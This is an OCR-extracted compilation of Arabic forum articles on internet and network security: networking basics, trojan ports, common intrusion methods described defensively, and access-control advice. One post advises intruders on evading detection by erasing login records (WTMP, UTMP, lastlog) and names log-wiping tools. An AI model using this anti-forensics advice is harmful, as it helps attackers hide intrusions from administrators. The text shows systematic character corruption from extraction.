‫الرقا‪.‬م ومن هنا تم التوهجه للـ ‪ DNS‬وهو عبارة عن‬ ‫هجهاز تخاد‪.‬م يحفظ معلومات هي عبارة عن أسماء‬ ‫الهجهزة وأرقا‪.‬م ‪ IP‬الخاصة بها حيث يقو‪.‬م‬ ‫المستخدمون بإرسال اسم الموقع الى مزود ‪DNS‬‬ ‫ليرد عليهم بعنوانه )رقم ‪ IP‬الخاص به( فلتدتخل على‬ ‫موقع ‪ www.cnn.com‬يكفي ان تكتبها في‬ ‫المستعرض الذي سيقو‪.‬م بإرسالها لخاد‪.‬م السماء‬ ‫‪ DNS‬والذي سيقو‪.‬م بتحويلها الى عنوان الجهازحتى‬ ‫يستطيع هجهازك التخاطب مع تخاد‪.‬م الويب الخاص‬ ‫بشبكة سي ان ان‪ ...‬اتختصارا‪ ،‬يمكن القول بأن تخاد‪.‬م‬ ‫السماء ‪ DNS‬ماهو ال هجهاز يحتوي على قاعدة‬ ‫بيانات فيها اسماء الهجهزة في النترنت وأرقا‪.‬م ‪IP‬‬ ‫الخاصة بها‪.‬‬ ‫المر ‪netstat‬‬ ‫هل تعلم بأنه من المستحيل أن يكون هناك تخاطب بين‬ ‫هجهازك وبين أي هجهاز آتخر في النترنت بدون أن‬ ‫يكون لدى كل من الجهازين رقم الـ ‪ IP‬الخاص بالجهاز‬ ‫التخر؟ وأقصد بالتخاطب هو نقل أي نوع من البيانات‪.‬‬ ‫هذا شيء ضروري فلكي ترسل رسالة إلى شخص‬ ‫معين فيجب أن تعرف عنوانه ويجب هو أيضا أن‬ ‫يعرف عنوانك لكي يقو‪.‬م بالرد عليك‪ .‬بالطبع هناك عدة‬ ‫‪28‬‬

‫استثناءات سنتحدث عنها في وقتها‪ .‬في نظا‪.‬م الشبكات‬ ‫يسمى هذا التخاطب بالتصال ‪ .connection‬طبعا‬ ‫لكل اتصال يجب أن يكون هناك من يقو‪.‬م بطلب‬ ‫التصال ويسمى عميل أو ‪ Client‬ويكون هناك أيضا‬ ‫من يتم التصال عليه ويسمى مزود ‪.server‬‬ ‫هناك أمر في نظا‪.‬م الدوس يسمح لك بمعرفة هجميع‬ ‫الهجهزة المتصلة بجهازك ) أو التي يقو‪.‬م هجهازك‬ ‫بارسال واستقبال البيانات منها( ومعرفة المتفذ )‬ ‫‪ (port‬الذي تم عليه التصال) فائدة المنفذ هي تحديد‬ ‫التطبيق الذي تم التصال عليه( وهذا المر هو المر‬ ‫‪ netstat‬ما عليك إل أن تقو‪.‬م بتشغيل ‪ms-dos‬‬ ‫‪ prompt‬من قائمة برامج ‪ programs‬ومن ثم‬ ‫اكتب هذا المر وستحصل على قائمة بكل هذه الهجهزة‬ ‫مع المنفذ الذي تم عليه التصال في كل الجهازين‪.‬‬ ‫المحادثة )‪IRC) Internet Relay Chat‬‬ ‫طريقة عمل نظا‪.‬م المحادثة هي وهجود مزود محادثة‬ ‫‪ chat server‬ووهجود برنامج محادثة ‪chat‬‬ ‫‪ client‬في كل هجهاز بحيث إذا أراد شخص الدتخول‬ ‫للمحادثة يقو‪.‬م بتشغيل برنامج المحادثة ‪ ،‬والذي بدوره‬ ‫يقو‪.‬م بالتصال بمزود المحادثة‪ .‬وبعد إهجراء التصال‬ ‫يتمكن الشخص من الدتخول لي من الغرف الموهجودة‬ ‫‪29‬‬

‫في المزود كما يمكنه أيضا انشاء الغرف الخاصة به‪،‬‬ ‫كما يمكنه أيضا القيا‪.‬م بالعديد من الوظائف التي ليس‬ ‫هذا المجال لذكرها‪.‬‬ ‫قلنا في السابق أن كل هجهاز يقو‪.‬م هجهازك بالتخاطب‬ ‫معه يعرف رقم الـ ‪ IP‬الخاص بك‪ ،‬ولكن يجب أن ل‬ ‫يفهم هذا الكل‪.‬م بالشكل الخاطيء فمثل في نظا‪.‬م‬ ‫المحادثة ‪ IRC‬تقو‪.‬م أنت بالتصال بمزود المحادثة‬ ‫‪ chat server‬وكذلك الحال بالنسبة لجميع‬ ‫المستخدمين‪ ،‬بحيث يكون هذا المزود كالوسيط بينك‬ ‫وبين هجميع الشخاص المتصلين به‪ ،‬فلكي تقو‪.‬م‬ ‫بإرسال رسالة لشخص ما‪ ،‬يقو‪.‬م برنامج المحادثة‬ ‫بإرسال الرسالة لمزود المحادثة والذي بدوره يقو‪.‬م‬ ‫بإرسالها للشخص وبالتالي فإنه ل يوهجد اتصال مباشر‬ ‫بينك وبين أي شخص آتخر تخلل نظا‪.‬م المحادثة‪ ،‬ولها‬ ‫تلحظ أن برامج المحادثة غالبا ما تعطيك رقم ‪IP‬‬ ‫للشخاص التخرين ناقصا )بالشكل التالي‬ ‫‪111.222.‬‬ ‫‪XXX.333‬‬ ‫( وهذا فيه‬ ‫نوع من‬ ‫الحماية‬ ‫للمستخدمين‬ ‫‪30‬‬

‫حتى ل يتمكن الهاكرز من معرفة رقم الـ ‪ IP‬الكامل‬ ‫للمستخد‪.‬م ومن ثم استخدامه للوصول إليه‪.‬‬ ‫هناك استثناءان لهذا النظا‪.‬م‪ ،‬حيث يمكن لي شخص‬ ‫آتخر في نظا‪.‬م المحادثة معرفة رقم ‪ IP‬الكامل الخاص‬ ‫بك‪ ,‬وهما كالتالي‪:‬‬ ‫‪ .1‬في حالة كون الشخص مشرفا على الغرفة التي‬ ‫دتخلت بها )المشرف هو الشخص الذي أنشأ الغرفة أو‬ ‫الشخص الذي تم منحه الصلحية من قبل من أنشأ‬ ‫الغرفة(‪ ،‬حيث أن المشرف يحصل على رقم الـ ‪IP‬‬ ‫الكامل لكل شخص دتخل غرفته‪.‬‬ ‫‪ .2‬في حالة تبادلك الملفات مع شخص في نظا‪.‬م‬ ‫المحادثة‪ :‬فمزود المحادثة يقو‪.‬م بدور الوسيط في نقل‬ ‫النصوص فقط‪ ،‬أما في حالة نقل الملفات فإنه يقو‪.‬م‬ ‫بإعطاء كل الجهازين رقم الـ ‪ IP‬الخاص بالجهاز التخر‬ ‫بحيث يقومان بنقل البيانات بينهما بشكل مباشر‪.‬‬ ‫مما ذكر أعله‪ ،‬احذر من الدتخول للغرف التي تكون‬ ‫مخصصة للهاكرز‪ ،‬حيث أنه المشرف )وهو هاكر في‬ ‫الغالب( سيحصل على رقم ‪ IP‬الخاص بك مباشرة مما‬ ‫يعرض هجهازك لخطر التختراق‪ .‬وأيضا احذر من‬ ‫استقبال الملفات ممن ل تعرفهم أو ممن يعرض عليك‬ ‫‪31‬‬

‫إرسال الملفات بدون سبب‪ ،‬لن غرضه الوحيد ربما‬ ‫يكون الحصول على رقم الي بي الخاص بك‪.‬‬ ‫من صاحب الموقع ؟‬ ‫لبد أنك قد زرت موقعا وأعجبك‪ ،‬وتساءلت في نفسك‬ ‫من هو صاحب هذا الموقع )سواء كان شخصا أو‬ ‫مؤسسة( ل داعي لن تحتار بعد الن فيكفي أن تذهب‬ ‫للموقع‬ ‫‪www.networksolutions.com/cgi‬‬‫‪ /bin/whois/whois‬وتقو‪.‬م بإدتخال اسم الموقع‬ ‫من دون ‪ ) www‬مثل ‪( wagait.com‬وستحصل‬ ‫على اسم الشخص الذي قا‪.‬م بتسجيل الموقع وعنوانه‬ ‫البريدي ورقم هاتفه والفاكس وغيرها من المعلومات‬ ‫التخرى المتعلقة بالموقع‪ .‬بالطبع فهذه المعلومات قد‬ ‫قا‪.‬م صاحب الموقع بإدتخالها عندما قا‪.‬م بحجز اسم‬ ‫الموقع‪.‬‬

‫‪32‬‬

‫قائمة ببعض المنافذ والتطبيقات المقابلة لها‬ ‫المنفذ التطبيق‬ ‫المقابل‬ ‫‪FTP 21‬‬ ‫‪25‬‬

‫ارسال‬ ‫بريد‬

‫المنفذ‬

‫التطبيق المقابل‬

‫‪31337‬‬

‫تروهجان‬ ‫‪BackOrifice‬‬

‫‪1720,1503‬‬

‫برنامج‬ ‫‪Netmeeting‬‬

‫‪33‬‬

‫الكتروني‬ ‫‪SMTP‬‬ ‫‪80‬‬

‫ويب‬ ‫‪Web‬‬

‫‪ 110‬استقبال‬ ‫بريد‬ ‫الكتروني‬ ‫‪POP3‬‬

‫‪6667‬‬

‫المحادثة ‪Chat‬‬

‫‪12345,2003‬‬ ‫‪4‬‬

‫تروهجان‬ ‫‪NetBus‬‬

‫‪ 139‬مشاركة‬ ‫ملفات‬ ‫في‬ ‫ويندوز‬

‫انتهى‪،،،‬‬

‫‪34‬‬

35

‫"مفاهيم وخاصة بشبكات البنتربنت‬ ‫)الجزء الثابني("‬ ‫لكي تعرف كيف تحمي نفسك من أي تخطر يجب أول‬ ‫أن تعرف ما هو هذا الخطر ومن ثم يصبح بإمكانك أن‬ ‫تعرف كيف تحمي نفسك من هذا الخطر‪ ،‬فمثل لكي‬ ‫نحمي أنفسنا من اللصوص‪ ،‬يجب أن نعرف تخطرهم‪.‬‬ ‫ومن ثم يجب أن نعرف كيف نتقي شرهم‪ ،‬فنحن نقفل‬ ‫البواب لمعرفتنا أن اللصوص قد يدتخلون منها في حال‬ ‫تركناها مفتوحة‪ .‬كذلك هو الحال بالنسبة للحاسب‬ ‫اللي‪ ،‬فلكي تعرف كيف تحمي نفسك من شرور‬ ‫الهاكرز‪ ،‬يجب أن تعرف كيف يقومون باتختراق‬ ‫هجهازك‪ ،‬وما هي البواب التي يدتخلون منها إلى‬ ‫أهجهزتنا‪.‬‬ ‫في الحلقة السابقة تكلمنا عن بعض مصطلحات‬ ‫ومفاهيم الشبكات‪ ،‬والتي تساعدك على معرفة ما‬ ‫سنتحدث عنه في هذه الحلقة وهي الطرق والبرامج‬ ‫التي تمكن المخترقين )الهاكرز( من القيا‪.‬م بعملية‬ ‫التختراق لهجهزة المستخدمين لشبكة النترنت‪ ،‬سواء‬ ‫كان هذا التختراق لغرض التجسس وسرقة الملفات أو‬ ‫لغرض التخريب ومسح الملفات‪ .‬بالطبع فإننا سنلمح‬ ‫‪36‬‬

‫لهذه البرامج تلميحا‪ ،‬ولن نذكر أسماءها وذلك حتى ل‬ ‫يتم إساءة استغللها‪.‬‬ ‫‪ -1‬الفيروسات )‪:(Viruses‬‬ ‫عندما يتم التحدث عن التخطار الموهجودة في الحاسب‬ ‫اللي‪ ،‬تتوهجه أذهان المستمعين تلقائيا للتفكير في‬ ‫الفيروسات‪ ،‬نظرا لنتشارها وقوة تأثيرها التخريبية‬ ‫على أهجهزة الحاسب اللي‪ .‬ولعله من المناسب عد‪.‬م‬ ‫الطالة في الحديث عن الفيروسات‪ ،‬فالغالبية )إن لم‬ ‫يكن الكل( يعرفون تخطرها وتأثيرها على أهجهزة‬ ‫المستخدمين‪.‬‬ ‫‪ -2‬التروهجان )‪:(Trojans‬‬ ‫التروهجان أو أحصنة طروادة هي البرامج التي يكون‬ ‫في ظاهرها أنها تقو‪.‬م بأداء وظيفة مفيدة للمستخد‪.‬م‬ ‫ولكنها في الحقيقة وتخلف الكواليس تقو‪.‬م بعمل وظيفة‬ ‫أتخرى )غالبا مخربة( بدون علم المستخد‪.‬م‪ .‬وقد‬ ‫انتشرت هذه النوعية بكثرة في النترنت‪ ،‬نظرا لسهولة‬ ‫انخداع المستخد‪.‬م بها ونظرا لما تعطيه للمخترقين من‬ ‫إمكانيات تصل في بعض الحيان إلى التحكم شبه‬ ‫الكامل في هجهاز المستخد‪.‬م الضحية‪.‬‬ ‫لعل من أشهر التروهجان المنتشرة في النترنت‬ ‫‪37‬‬

‫التروهجان المسماة بـ "نت باس" ‪ NetBus‬و" باك‬ ‫اوريفيس " ‪ Back Orifice‬و "سب سيفين "‬ ‫‪ . SubSeven‬وطريقة عملها متشابهة وهي أن‬ ‫يقو‪.‬م المخترق بإتخفاء التروهجان في أحد الملفات والتي‬ ‫يقو‪.‬م المستخدمون التخرون بسحبها ظنا منهم بأن هذه‬ ‫الملفات تقو‪.‬م بوظائف مفيدة لهم‪ ،‬وعندما يقو‪.‬م‬ ‫المستخد‪.‬م بتنفيذ هذا الملف فإنه يقو‪.‬م وبدون علمه‬ ‫بتركيب تخاد‪.‬م للتروهجان داتخل هجهازه بحيث يتمكن‬ ‫المخترق )باستخدا‪.‬م برنامج عميل للتروهجان ‪(client‬‬ ‫من التحكم في هجهاز المستخد‪.‬م الضحية‪.‬‬ ‫تتشابه هذه التروهجان في الوظائف التي تمكن المخترق‬ ‫من القيا‪.‬م بها‪ ،‬وتتراو ح تخطورة الوظائف من التجسس‬ ‫على الجهاز ) مثل سرقة الملفات والبريد اللكتروني‬ ‫وكلمات السر المختلفة( حتى العبث بجهاز المستخد‪.‬م‬ ‫بإتخراج القراص المضغوطة )‪ (CD-ROM‬أو إظهار‬ ‫رسالة مضحكة للمستخد‪.‬م أو تشغيل ملف صوت‬ ‫وغيرها من الوظائف التخرى المزعجة‪.‬‬

‫‪38‬‬

‫صورة تبين واهجهة برنامج نت باس ويظهر فيها‬ ‫الوظائف المختلفة التي يمكن للهاكر القيا‪.‬م بها‬ ‫‪ -3‬المشاركة في الطباعة والملفات في ويندوز‪:‬‬ ‫من المعروف أن نظا‪.‬م ويندوز يسمح للمستخد‪.‬م بتحديد‬ ‫أحد المجلدات أو القراص الصلبة في هجهازه للمشاركة‬ ‫من قبل أشخاص آتخرين على الشبكة‪ .‬بالطبع فإن هذه‬ ‫الخاصية مفيدة هجدا ولها تطبيقات كثيرة نافعة‬ ‫للمستخد‪.‬م‪ ،‬ولكن عندما تكون متصل بالنترنت فإن كل‬ ‫من يرى هجهازك سيستطيع أن يرى هذه المجلدات التي‬ ‫وضعتها للمشاركة ويبقى العائق الوحيد للدتخول عليها‬ ‫هو الحصول على كلمة السر‪ .‬طبعا قد تتساءل "كيف‬ ‫يستطيع التخرون الوصول لي ؟ وأنا هجهاز ضمن‬ ‫المليين من الهجهزة على النترنت" يؤسفني أن أقول‬ ‫‪39‬‬

‫لك أنه يتوافر الكثير من البرامج )وكما قلنا فلن نذكر‬ ‫أسماءها حتى ل يساء استخدامها ( والتي تمكن‬ ‫للشخص من البحث عن المجلدات الموضوعة‬ ‫للمشاركة في أهجهزة المستخدمين‪ .‬وبعد الحصول على‬ ‫قائمة بهذه الهجهزة فإنه ما على المخترق إل أن يقو‪.‬م‬ ‫بتشغيل برنامج يقو‪.‬م بمحاولة "تخمين" كلمة السر‬ ‫)ويوهجد أيضا الكثير من البرامج من هذا النوع( والتي‬ ‫تقو‪.‬م بتجريب آلف الكلمات والتي تم تخزينها مسبقا‬ ‫في ملف حتى تصل إلى كلمة السر الخاصة بالمجلد‬ ‫الموضوع للمشاركة‪ .‬وما يزيد الطين بلة أن بعض‬ ‫المستخدمين يقومون بمشاركة القرص الصلب بكامله‬ ‫!! وبعضهم يستخد‪.‬م كلمة سر بسيطة من حرف أو‬ ‫حرفين !! مما يسهل المهمة على الهاكر ويجعله يحتار‬ ‫في أي الملفات يسرق وأيها يترك !!‬

‫‪40‬‬

‫أحد البرامج التي تقو‪.‬م بالبحث عن المجلدات‬ ‫الموضوعة المشاركة‬ ‫‪ -4‬سرقة كلمة السر المخزنة‪:‬‬ ‫يقو‪.‬م نظا‪.‬م ويندوز بتخزين كلمة السر في ملف وذلك‬ ‫لكي يسترهجعها بسرعة في حالة الحاهجة إليها‪ ،‬بالطبع‬ ‫فإن كلمة السر يتم تخزينها بشكل مشفر)‬ ‫‪ ، ( encrypted‬ولكن ل شيء يستعصي على‬ ‫الهاكرز‪ .‬فحين حصول الهاكر على هذا الملف )والذي‬ ‫ينتهي بالمتداد ‪ ( PWL‬فإن كلمة السر الخاصة‬ ‫بجهازك هي ملك له وذلك لوهجود العديد من البرامج‬ ‫‪41‬‬

‫التي تقو‪.‬م بفك تشفير هذا الملف والحصول على كلمة‬ ‫السر‪ .‬بالطبع فإن نظا‪.‬م ويندوز ‪ 98‬يحتوي على تشفير‬ ‫أقوى من الذي كان موهجودا في نظا‪.‬م ويندوز ‪، 95‬‬ ‫ولكنها مسألة وقت حتى يقو‪.‬م الهاكرز بإيجاد برنامج‬ ‫يقو‪.‬م بكسر هذا التشفير‪.‬‬ ‫‪ -5‬برامج وتطبيقات النترنت‬ ‫إن تطبيقات النترنت ليست مجرد متصفحات فحسب !‬ ‫بل إن هناك العديد من التطبيقات والبرامج التخرى‬ ‫التي يتم استخدامها في النترنت‪ .‬ولكن هذه البرامج قد‬ ‫تحتوي على العديد من الثغرات المنية التي تكون‬ ‫الباب المشرع الذي يستخدمه الهاكر للدتخول في‬ ‫هجهازك و إيذائك ! ومن هذه البرامج برنامج ‪ICQ‬‬ ‫الشهير الذي يستخدمه المليين من المستخدمين في‬ ‫النترنت‪ .‬وهو يعتبر من أكثر البرامج شعبية بين‬ ‫مستخدمي النترنت نظرا لما يقدمه من تخدمات تسهل‬ ‫التواصل بين المستخدمين‪ .‬ولكنه أيضا من أكثر‬ ‫البرامج شعبية للهاكرز نظرا لما يقدمه من إمكانيات‬ ‫للتخريب والعبث بأهجهزة ضحاياهم‪ .‬فيوهجد في النترنت‬ ‫العديد من البرامج التي تقو‪.‬م بمهاهجمة المستخدمين‬ ‫لهذا البرنامج‪ ،‬ويختلف تأثير هذه البرامج من الحصول‬ ‫على رقم ‪ IP‬الخاص بالمستخد‪.‬م إلى القيا‪.‬م بإرسال‬ ‫‪42‬‬

‫كمية هائلة من البيانات لديه حتى يتوقف الجهاز عن‬ ‫الستجابة للمستخد‪.‬م مما يضطره للقيا‪.‬م بعملية إعادة‬ ‫للتشغيل!‬ ‫‪ -6 -6‬المواقع المشبوهة‪:‬‬ ‫من فترة لتخرى يتم اكتشاف الكثير من الثغرات المنية‬ ‫في المتصفحات ويتم استغلل هذه الثغرات بشكل كبير‬ ‫من قبل أصحاب مواقع الهاكرز‪ .‬هذه الثغرات قد تمكن‬ ‫المخترق من الحصول على بعض الملفات والمعلومات‬ ‫الشخصية من هجهازك‪ .‬لذا يجب عليك الحذر عند زيارة‬ ‫المواقع التي يشتبه في كون أصحابها من المخترقين‬ ‫نظرا لقدرة أصحاب المواقع على وضع بريمجات في‬ ‫مواقعهم لستغلل الثغرات المنية في متصفحك‬ ‫والدتخول إلى هجهازك‪ .‬وأبسط المثلة على ذلك ما يقو‪.‬م‬ ‫به بعض المخربون من وضع بريمج )‪ (script‬يقو‪.‬م‬ ‫بتكرار تشغيل برنامج المتصفح وفتح نوافذ هجديدة حتى‬ ‫تنتهي موارد النظا‪.‬م ويصبح ل يستجيب للمستخد‪.‬م مما‬ ‫يضطره لعادة تشغيل الجهاز ! بالطبع فإن هذه الثغرة‬ ‫تم تلفيها في متصفح إنترنت اكسبلورر ‪ 4‬وما فوق‬ ‫ولكنها تعطي مثال بسيطا للتخريب الذي ممكن أن يقو‪.‬م‬ ‫به المخترقون‪.‬‬ ‫‪43‬‬

‫‪ -7‬الخدمات الضافية‪:‬‬ ‫يشتمل نظا‪.‬م التشغيل على بعض الخدمات الضافية‬ ‫التي قد ل يحتاهجها المستخد‪.‬م والتي قد تكون المدتخل‬ ‫إلى هجهازك‪ ،‬فمثل بعض الصدارات من نظا‪.‬م ويندوز‬ ‫تحتوي على تخاد‪.‬م ويب وتخاد‪.‬م ‪ FTP‬وتخاد‪.‬م بريد‬ ‫إلكتروني )‪ (SMTP‬وهي ل تستخد‪.‬م من قبل غالب‬ ‫المستخدمين ولكنها تحتوي في أغلب الحيان على‬ ‫ثغرات أمنية تمكن المخترقين من العبث بجهازك‪ .‬ويتم‬ ‫دائما إصدار تعديلت لهذه المشاكل المنية ولكن أغلب‬ ‫المستخدمين ل يقومون بتركيبها‪ .‬لذا فمن المستحسن‬ ‫أثناء تركيب نظا‪.‬م التشغيل أن يقو‪.‬م المستخد‪.‬م بإلغاء‬ ‫تركيب هذه الخدمات عندما ل يكون محتاهجا لها وفي‬ ‫حالة كان المستخد‪.‬م محتاهجا لها‪ ،‬فمن المستحسن‬ ‫إيقاف تشغيلها عن اتصاله بالنترنت حتى ل يكون‬ ‫المنفذ الذي تعمل عليه هذه البرامج مفتوحا مما يسد‬ ‫الطريق على المخترقين الذي يريدون استغلل هذه‬ ‫الخدمات للدتخول في هجهازك‪.‬‬

‫بالطبع فإن ما ذكرناه في هذا المقال ل يشمل هجميع‬ ‫الطرق التي يستخدمها الهاكرز ‪ ،‬ولكنه كاف لعطاء‬ ‫فكرة عن هذه الطرق ورفع درهجة الحذر لدى‬ ‫‪44‬‬

‫المستخدمين عن اتصالهم بالنترنت‪ ،‬مما يسهم في‬ ‫التقليل من احتمالية تعرضهم للتختراق‪.‬‬ ‫في العدد القاد‪.‬م بإذن ال سنقو‪.‬م بالتحدث عن الطرق‬ ‫والبرامج الدفاعية التي يجب على المستخد‪.‬م‬ ‫استخدامها لتقاء الهاكرز و شرورهم‪.‬‬ ‫انتهى‪،،،‬‬

‫‪45‬‬

‫"المن عبر البنتربنت"‬ ‫>منقول من منتدى إعصار<‬ ‫>الكاتب‪المترهجم‪
‫ده عشان لما بتعمل ‪ log in‬باوامر ‪ ftp‬بسيطه زي‪:‬‬ ‫‪ ...cd lcd dir ls‬و اي حاهجه تانيه‬ ‫لن مجرد ماتعمل ‪ log in‬في حاهجه اسمها‬ ‫‪LOGS...(LOG.FILES) 1‬‬ ‫ده؟؟‬ ‫‍‬ ‫ايه بقى ال ‪LOG‬‬ ‫ال ‪ log files‬ديه بتسجل كل شئ عن كل شخص‬ ‫اتصل بالجهاز)‪ (loged in‬و يحصلوا على معلومات‬ ‫مثل‪:‬‬ ‫يرون متى عملت الهاكينج بالضبط‬ ‫من اي موقع اتيت‬ ‫فضلت اد ايه ‪online‬‬ ‫ال ‪ IP Address‬بتاعك >>>>>>>‬ ‫ال ‪) host name‬اسم الجهاز(‬ ‫القاره‬ ‫الدوله‬ ‫المدينه‬ ‫المتصفح‬ ‫نظا‪.‬م التشغيل‬ ‫ال ‪screen resolution‬‬ ‫الوان الشاشه‬ ‫مزود الخدمه الخاص بك)‪>>>>(ISP‬‬ ‫‪47‬‬

‫هناك ‪ 3‬انواع ‪ log files‬مهمه‪:‬‬ ‫‪ - WTMP‬يسجل كل دتخول\تخروج‪ ،‬مع ميعاد‬ ‫الدتخول\الخروج بالضافه الى ال ‪ host‬و ‪tty‬‬ ‫‪- UTMP‬من ‪ Onlne‬في هذه اللحظه‬ ‫‪- LASLOG‬من اي هجاء الدتخول\تخروج‬ ‫و الكثير الكثير!! لذا لو الدمن اراد ان يلقي نظره‬ ‫عليهم )‪ (log.files‬سوف يوقع بك)‪track you‬‬ ‫‪... (down‬‬ ‫ربما تقول‪ :‬مفيش مشكله انا هاستخد‪.‬م بروكسي! بس‬ ‫ادي حلجه لز‪.‬م تعرفها عن البروكسيهات‬ ‫هجهازك‪<--‬تخاد‪.‬م البروكسي‪<--‬الموقع‪--FTP--‬تلنت او‬ ‫اي شئ اتخر!‬ ‫لو اتخترقت موقع و الدمن عاوز يعرف انت مين‪.‬لو‬ ‫معاه شويه فلوس هيعرف!او حتي يخترق البروكسي‬ ‫سيرفر و هيجيبك ‪ ..‬نفس الكل‪.‬م لو بتستخد‪.‬م اكثر من‬ ‫بروكسي‬ ‫هجهازك‪<--‬تخاد‪.‬م البروكسي الول‪<--‬تخاد‪.‬م البروكسي‬ ‫الثاني‪<--‬الثالث‪...--so on--‬‬ ‫يقدر يجيبك بس هيحتاج فلوس كثير و وقت اكثر!!لكن‬ ‫‪48‬‬

‫في النهايه يقدر‪..‬‬ ‫لكن تقدر ايضا تستخد‪.‬م شيئ اسمه‪-: Wingate ..‬‬ ‫‪ Wingate‬هو بروكسي يسمح بمشاركه كونكشن‬ ‫انترنت واحد او اكثر‪ ..‬فائده ال ‪ Wingate‬انه‬ ‫سيخفي ال ‪ IP‬عن الكمبيوتر الذي ستتصل به!!‬ ‫لكن للسف هذا كل ما اعرفه عنه‪ 1..‬نحتاج بعض‬ ‫الشخاص الذكياء ليعلمونا كيف نستخدمه و اين‬ ‫نجده؟!‬ ‫ماذا ايضاا‪....‬اممممممــم‬ ‫اه تذكرت!!‪ ..‬قبل كل شئ يجب ان تعرف كيف تظل‬ ‫‪ anonymous‬على ال ‪ ..web‬و كيف تؤمن‬ ‫هجهازك؟!!‪......‬مثل ال ‪ .spyware‬استخد‪.‬م‬ ‫‪ firewall‬مثل ال ‪ . zone alarm‬امسح ملفات‬ ‫الهيستوري)كالكوكيز و النترنت هيستوري و ملفات‬ ‫النترنت المؤقته‪..‬و الملفات الشخصيه و اللوق( انا‬ ‫افعل هذه الشياء كل يو‪.‬م قبل ان ادتخل عالنت!! لدي‬ ‫برنامج رائع اسمه ‪ windows washer‬يجب ان‬ ‫يكون عندك‪ ,.‬لقد تخصلت عليه من المدرسه‪ ..‬سرقته‬ ‫هاهاها‪.‬‬ ‫و الكثير‪ .‬اذهب لجوهجل و اكتب ‪how to Stay‬‬ ‫‪49‬‬

‫‪ anonymous on the web‬او ‪how to‬‬ ‫‪secure to secure my computer‬‬ ‫او زور موقع امني هجيد و ابحث عن شئ كهذا ‪ ..‬و انا‬ ‫متأكد انك ستجد الكثير ‪..‬‬ ‫و ل تنسى ال ‪Preety Good Privacy‬‬ ‫‪ (PGP)d‬انه مجاني ‪ ..‬يجب ان يكون عندك لو كنت‬ ‫تريد اتختراق موقع و تترك ايميلك فيه!‬ ‫تستطيع ان تحصل عليه من‪:‬‬ ‫‪/http://www.pgpi.org‬‬ ‫‪ ok‬اظن ان هذا كل ما يمكنني كتابته لكن هناك الكثير‬ ‫لكن يجب ان تبحث عنه!‬ ‫ارهجوا ان يعلمك هذا الدرس شيئا يا اتخواني‬ ‫لكن لدي سؤال الن ‪ ..‬و لست الوحيد الذي يحتاج‬ ‫الهجابه ‪ ..‬هذه الهجابه يجب ان يعرفها الجميع قبل ان‬ ‫يتعلم الهاكينج‬ ‫‪-1‬كيف تستخد‪.‬م ال ‪ wingate‬؟ و اين نجده؟‬ ‫كيف نمسح اللوقز؟ و كيف نجدهم؟ و كيف نتأكد ان كل‬ ‫شئ على ما يرا‪.‬م؟!و كيف نتأكد اننا لم نترك اي اثار‬ ‫‪ tracks‬تخلفنا؟‬ ‫‪50‬‬

‫ها هو برنامج اعرفه‪ :‬و اسمه ‪log modifier‬‬ ‫‪ah-1_0b.tar clear.c cloak2.c‬‬ ‫‪invisible.c marryv11.c wzap.c‬‬ ‫‪wtmped.c zap.c‬‬ ‫=============================‬ ‫=====================‬ ‫=============================‬ ‫=============‬ ‫هذا يا اتخي كل ما عرفته في اتخر اسبوعين‪ .‬و سألت‬ ‫سؤالين او اكثر عن كيفيه البقاء ‪anonymous‬‬ ‫عالنت و عن استخدا‪.‬م البروكسيز و بعض الناس‬ ‫هجاوبوني‪ .‬لكن بالنهايه ليس المهم كم سؤال سألت ‪..‬‬ ‫يجب ان تجد الهجابه هذا هو المهم‪ !!!.‬لذا ارهجو يا‬ ‫اتخي ان تبحث في هذا المجال اول ثم بعدها تتعلم‬ ‫التختراق‪.‬‬ ‫انتهى‪،،،‬‬

‫‪51‬‬

‫"أمن الشبكات"‬ ‫>منقول من منتدى إعصار<‬ ‫>الكاتب‪:‬الجوكر<‬ ‫فى هذا الموضووع سأتناول بعض طرق الحماية نقل‬ ‫عن كتاب ‪.‬‬ ‫وهذا لفتقار هذا القسم لمواضيع مثل هذه ‪.‬‬ ‫لذلك أرهجو سماع وزاع ضميركم ‪.‬‬ ‫‪--------------------------------------------------‬‬‫‪----‬‬‫‪ -1‬عرض لبعض المخاطر المنية التي قد تتعرض لها‬ ‫الشبكة و كيفية الوقاية منها‪.‬‬ ‫‪ -2‬وصف لعلقة الولوج الى الشبكة بأمنها‪.‬‬ ‫‪ -3‬كيفية حماية الموارد بواسطة تراتخيص الوصول‪.‬‬ ‫‪ -4‬شر ح لمكونات ‪.ACL‬‬ ‫‪ -5‬شر ح لعملية تفحص التراتخيص‪.‬‬ ‫أي شبكة قد تكون عرضة للوصول غير المرتخص لي‬ ‫‪52‬‬

‫مما يلي‪:‬‬ ‫‪ -1‬المعدات‪.‬‬ ‫‪ -3‬البيانات‪.‬‬ ‫‪ -3‬عمليات الشبكة‪.‬‬ ‫‪ -4‬الموارد‪.‬‬ ‫تعتمد درهجة أمن الشبكة على مدى حساسية البيانات‬ ‫المتداولة عبر الشبكة‪.‬‬ ‫و يتم تنظيم المن وفقا لنوع الشبكة ‪ ،‬ففي شبكات الند‬ ‫للند كل هجهاز يتحكم في أمنه الخاص ‪ ،‬بينما يتحكم‬ ‫المزود في أمن شبكات الزبون المزود‪.‬‬ ‫و هناك بعض الهجراءات التي تساعد في المحافظة‬ ‫على أمن الشبكة‪:‬‬ ‫‪ -1‬التدريب المتقن للمستخدمين على التعامل مع‬ ‫إهجراءات المن‪.‬‬ ‫‪53‬‬

‫‪ -2‬التأكد من أمن المعدات و صعوبة الوصول اليها من‬ ‫قبل غير المخولين‪.‬‬ ‫‪ -3‬حماية السلك النحاسية و إتخفاءها عن العين‬ ‫لنها قد تكون عرضة للتجسس‪.‬‬ ‫‪ -4‬تشفير البيانات عند الحاهجة أما مقاييس التشفير‬ ‫فتضعها وكالة المن الوطني المريكية ‪National‬‬ ‫‪.(Security Agency (NSA‬‬ ‫‪ -5‬تزويد المستخدمين بأهجهزة ل تحتوي على محركات‬ ‫أقراص مرنة أو مضغوطة أو حتى أقراص صلبة ‪ ،‬و‬ ‫تتصل هذه الهجهزة بالمزودات باستخدا‪.‬م رقاقة إقلع‬ ‫‪ ROM Boot Chip‬و عند تشغيل هذه الهجهزة‬ ‫يقو‪.‬م المزود بتحميل برنامج القلع في ذاكرة ‪RAM‬‬ ‫للجهاز ليبدأ بالعمل‪.‬‬ ‫‪-6‬استخدا‪.‬م برامج لتسجيل هجميع العمليات التي يتم‬ ‫إهجراؤها على الشبكة لمراهجعتها عند الضرورة‪.‬‬ ‫‪ -7‬إعطاء تصاريح ‪ Permissions‬للمستخدمين‬ ‫‪54‬‬

